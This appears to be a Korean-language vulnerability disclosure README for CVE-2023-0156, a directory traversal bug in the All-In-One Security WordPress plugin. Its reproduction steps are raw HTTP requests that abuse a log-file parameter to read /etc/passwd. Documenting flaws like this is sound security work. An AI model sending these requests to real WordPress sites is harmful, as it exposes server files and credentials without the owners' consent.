b0marek/cve-2023-0156CVE-2023-0156 취약점을 위한 저장소.
CVE ID: CVE-2023-0156
Vulnerability Type: 디렉터리 트래버설
Description: WordPress용 All-In-One Security (AIOS) 플러그인은 버전 5.1.4 이하에서 디렉터리 트래버설 취약점에 노출됩니다. 이로 인해 인증된 관리자 권한의 공격자가 서버의 임의 파일 내용을 읽을 수 있습니다.
재현 단계:
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
_wpnonce=<nonce>&aiowps_system_log_file=..%2F..%2F..%2F..%2Fetc%2Fpasswd&aiowps_search_error_files=View+latest+system+logs
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
_wpnonce=<nonce>&aiowps_system_log_file=..%2F&aiowps_search_error_files=View+latest+system+logs
참조: